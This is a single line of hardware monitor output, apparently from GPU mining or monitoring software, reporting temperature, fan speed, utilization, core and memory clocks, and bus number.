Hardware.Mon.#1..: Temp: 66¢c Fan: 78% Util: 91% Core:1892MHz Mem:9242MHz Bus:4
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